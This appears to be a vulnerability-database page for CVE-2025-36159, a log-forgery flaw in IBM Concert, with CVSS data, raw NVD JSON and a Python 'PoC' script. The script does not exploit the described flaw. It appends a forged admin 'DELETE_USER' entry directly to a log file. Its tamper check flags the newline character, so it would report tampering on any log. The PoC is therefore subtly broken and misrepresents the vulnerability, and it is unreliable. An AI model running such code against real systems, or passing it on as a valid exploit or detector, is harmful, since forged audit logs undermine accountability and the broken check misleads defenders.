Security Vulnerability Report
中文
CVE-2025-36159 CVSS 6.2 MEDIUM

CVE-2025-36159

Published: 2025-11-20 22:15:57
Last Modified: 2025-11-21 19:49:33

Description

IBM Concert 1.0.0 through 2.0.0 could allow a local user to forge log files to impersonate other users or hide their identity due to improper neutralization of output.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:* - VULNERABLE
IBM Concert 1.0.0
IBM Concert 1.0.x
IBM Concert 1.5.x
IBM Concert 2.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36159 PoC - IBM Concert Log File Forgery # This PoC demonstrates how an attacker can forge log entries import os import datetime def exploit_log_forgery(log_file_path, target_user="admin", forged_action="SensitiveOperation"): """ Simulates log file forgery attack on vulnerable IBM Concert installation """ forged_entry = f"{datetime.datetime.now().isoformat()} - {target_user} - {forged_action} - SUCCESS\n" # Attempt to append forged entry to log file try: with open(log_file_path, 'a') as f: f.write(forged_entry) print(f"[+] Forged log entry written to {log_file_path}") print(f"[+] Entry: {forged_entry.strip()}") return True except PermissionError: print(f"[!] Permission denied - may require elevated privileges") return False except FileNotFoundError: print(f"[!] Log file not found at {log_file_path}") return False def check_log_integrity(log_file_path): """ Check for signs of log tampering """ suspicious_patterns = ['\n', '\r', '\t', '\\n'] try: with open(log_file_path, 'r') as f: content = f.read() for pattern in suspicious_patterns: if pattern in content: print(f"[!] Suspicious pattern detected: {repr(pattern)}") print("[*] Log integrity check completed") except Exception as e: print(f"[!] Error checking log: {e}") if __name__ == "__main__": # Default IBM Concert log location (may vary) log_path = "/var/log/ibm-concert/application.log" print("CVE-2025-36159 - IBM Concert Log Forgery PoC") print("=" * 50) # Demonstrate the attack exploit_log_forgery(log_path, target_user="admin", forged_action="DELETE_USER") # Check for tampering check_log_integrity(log_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36159", "sourceIdentifier": "[email protected]", "published": "2025-11-20T22:15:57.340", "lastModified": "2025-11-21T19:49:32.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.0.0 could allow a local user to forge log files to impersonate other users or hide their identity due to improper neutralization of output."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-117"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.1.0", "matchCriteriaId": "43072AC2-05A5-41A3-9E79-E0AF2C5AD3FF"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7252019", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}